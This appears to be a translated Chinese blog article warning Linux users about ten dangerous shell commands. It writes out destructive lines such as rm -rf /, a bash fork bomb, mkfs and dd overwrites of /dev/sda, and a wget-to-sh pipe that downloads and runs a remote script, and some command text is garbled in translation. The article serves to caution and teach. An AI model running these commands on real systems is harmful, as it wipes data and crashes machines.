概述
大多数朋友主要使用Windows系统,基本上都是使用鼠标来完成所有操作,但是在Linux系统上,很多人都是使用键盘+命令来操作计算机。 Linux命令行很有趣,有时你也会使用它。这可能很危险,尤其是当您并不真正知道自己在做什么时。今天分享这篇文章的主要目的是让大家意识到在执行某些命令之前应该三思而后行。
1. rm -rf 命令
rm -rf 命令是删除文件夹及其内容的最快方法之一。最轻微的错误或无知都可能导致不可恢复的系统崩溃。
以下是rm 命令的一些选项。
rm -r 命令递归删除文件夹,包括空文件夹。 (注:我个人认为这是一个错误。常识应该说“非空文件夹也是如此。”) rm -f 命令会写入“只读文件”,无需询问即可直接删除。 (注:在Linux上删除文件并不考虑该文件是否只读,而只考虑其父目录是否有写权限。因此, -f 参数只是表示不必遍历它们一个接一个地删除,但它们会被静默删除。此外,原始rm 命令实际上没有删除提示,但在常见发行版中,它会通过别名添加到rm 中以要求确认- f 抑制此提示)。 rf/: 将强制删除目录中的所有内容。 (也就是说删除完成后什么都没有剩下.) rm -rf *: 强行删除当前目录下的所有文件。 rm -rf . 强制删除当前文件夹及其子文件夹。
运行rm -rf 命令时请务必小心。为了防止使用“rm”命令删除文件时发生意外,建议在“.bashrc”文件中为“rm”命令创建别名。系统会要求您确认每个删除请求。
2. :(){:|:};: 命令
:(){ : | : 说明:
:这是函数名称。定义它并稍后运行它。
:|: 函数的输出通过管道作为输入传递到另一个在后台运行的冒号函数。
{ }; 表示内部内容为函数体。
:定义完成后执行函数。
这是叉子炸弹的一个例子。具体操作是定义一个名为“:”的函数。该函数调用自身两次,一次在前台,一次在后台。它会反复运行,直到系统崩溃。
原理分析
首先,我要解释一下,是一个shell内置命令。因此,上述代码只能在bash 中生成fork 炸弹,因为内置命令优先于其他shell 中的函数。因此,运行: 始终运行内置命令。 (: 是一个空命令,但true 相当于while: 并且经常用作占位符)
我们首先看一下函数体:|:使用管道,两个进程同时开始运行。
因此,当该函数执行时,会生成两个新进程,然后终止原始进程。这是递归重复的,产生无限递归。按照这个增长模型,它的增长趋势大约是2n2n。
记住!切勿在公司官方服务器上进行实验~~
3. 命令 /dev/sda
上面的命令会将给定“命令”的输出写入块设备/dev/sda。该操作会将块设备中的所有数据块替换为命令写入的原始数据,导致整个块设备的数据丢失。
4. mv 文件夹 /dev/null
此命令将特定“文件夹”移动到/dev/null。在Linux 上,/dev/null 或null 设备是一个特殊文件,写入其中的任何数据都会被清除,并且写入操作会成功返回。
(实际上,这就是Linux所说的黑洞。将文件夹移动到黑洞中并不能阻止它被数据恢复软件恢复。因此,真正完全破坏需要特殊的软件或技术。))
上面的命令将用户目录的全部内容移动到/dev/null。这意味着一切都被“吸”进黑洞(空)。
5. wget http://malicious_source -O- | sh
上述命令从(可能)恶意源下载并执行脚本。 Wget 命令下载脚本,sh 命令(无条件)运行下载的脚本。
注意: 您应该始终注意下载的包或脚本的来源。仅使用从可信来源下载的脚本/程序。
当我遇到这样的需求时,我一般的做法是先wget它,然后读取它的内容,最后考虑是否运行它。
6. mkfs.ext3 /dev/sda
上述命令将格式化块设备“sda”。上面的命令将格式化您的块设备(硬盘驱动器)并使其焕然一新。
没有数据,系统直接达到无法恢复的地步。
记住!即使在生产环境中也无法执行上述命令。
7. file
上面的命令经常用于清除文件的内容(并且通常也用于记录命令输出。(否则,您将无法恢复原始文件。)
如果你错误地执行了上面的命令或者在什么都不知道的情况下输入了类似“xt.conf”这样的命令,你的配置文件和其他系统配置文件将会被覆盖。
8. ^foo^bar
该命令用于编辑先前执行的命令,而无需重新输入整个命令。然而,使用foobar 命令而不仔细考虑修改原始命令的风险可能会导致真正的麻烦。
事实上,这个小伎俩被译者认为是史前时代遗留下来的少数无用且有害的“黑客”之一。
9. dd if=/dev/random of=/dev/sda
上述命令将随机垃圾文件写入块设备sda并擦除数据。一定!系统可能会陷入不可恢复的状态。
事实上,正如我上面提到的,mv 到黑洞并不能完全删除数据,这个命令为您提供了一种永久删除数据的方法。当然,为了以防万一,你可以多次覆盖它。
10. 隐藏命令
以下命令实际上是上面的第一个命令(rm -rf)。这里的代码隐藏在十六进制中,因此不知情的用户可能会被欺骗。在终端中运行以下命令可能会擦除您的根分区。
这个命令表明,真正的危险往往是隐藏的,不容易被发现。你必须时刻意识到你所做事情的后果。不要编译/运行来自未知来源的代码。
有些命令是可以恢复的,但是谁愿意经历这个恢复过程呢?所以在发出上述命令之前要三思而后行。但既然我们身处技术领域,我们能想出一种方法来从技术上避免这些命令吗?
稍后我将分享更多DevOps 和DBA 内容,如果您感兴趣,请继续关注。
原创文章,作者:小条,如若转载,请注明出处:https://www.sudun.com/ask/85021.html